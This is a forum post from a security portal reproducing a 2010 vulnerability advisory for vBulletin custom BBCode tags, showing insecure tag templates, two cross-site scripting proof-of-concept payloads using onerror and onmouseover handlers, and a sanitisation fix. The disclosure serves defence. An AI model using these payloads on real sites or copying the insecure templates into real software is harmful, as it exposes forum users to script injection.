|
|
|
|
Menu |
|
|
Home |
| |
|
Discussions |
| |
|
Tools |
| |
|
Affiliates |
| |
|
Content |
| |
|
Info |
| | |
|
|
|
|
|
User Info |
|
Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 78
Members: 0
Total: 78
|
|
|
|
|
|
Full disclosure |
|
|
|
|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
vBulletin - Insecure Custom BBCode Tags |
|
Posted: Thu Apr 29, 2010 6:08 pm |
|
|
VERTIGO |
Advanced user |
|
|
Joined: Sep 25, 2008 |
Posts: 87 |
|
|
|
|
|
|
|
Versions Affected: 3.8.4 PL2 (Most likely all versions)
Info:
Content publishing, search, security, and more—vBulletin has it all. Whether
it’s available features, support, or ease-of-use, vBulletin offers the most for
your money. Learn more about what makes vBulletin the choice for people
who are serious about creating thriving online communities.
External Links:
http://www.vbulletin.com/
-:: The Advisory ::-
Code: | A vulnerability exists within vBulletin which makes an attacker able to inject
code such as HTML or Javascript via custom BBCode Tags IF they follow certain
conditions which are described below.
Requirements:
- User-input must be located inside a variable in a HTML-tag.
- Apostrophes or nothing must be used for encapsulation.
Insecure Implementations:
- Example 1 (src is insecure)
<img src='{param}' style='border-width:5px;border-color:red;border-style:outset;' />
- Example 2 (href is insecure)
<a href={option} style=border-width:5px;border-color:red;border-style:outset;>{param}</a>
Exploitation of Above Implementations:
- Example 1 (PoC)
[BadTag]x:x' onerror=alert(0) foo='[/BadTag]
- Example 2 (PoC)
[BadTag2=fail onmouseover=alert(0)]Link[/BadTag2] |
-:: Solution ::-
Code: | Sanitize BBCode with htmlentities($var, ENT_QUOTES); or htmlspecialchars($var); in the PHP files.
(Jelsoft should fix this, however I may provide a patch if they don't.)
Alternatively don't use BBCode with apostrophes where user-input is inside a variable.
Examples of "Secure Implementation":
<img src="{param}" style='border-width:5px;border-color:red;border-style:outset;' />
[ + ] Note that src's value is encapsulated with quotes.
<a href="{option}" style=border-width:5px;border-color:red;border-style:outset; />{param}</a>
[ + ] Note that href's value is encapsulated with quotes. |
Author MaXe |
|
|
|
|
|
www.waraxe.us Forum Index -> vBulletin Board
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|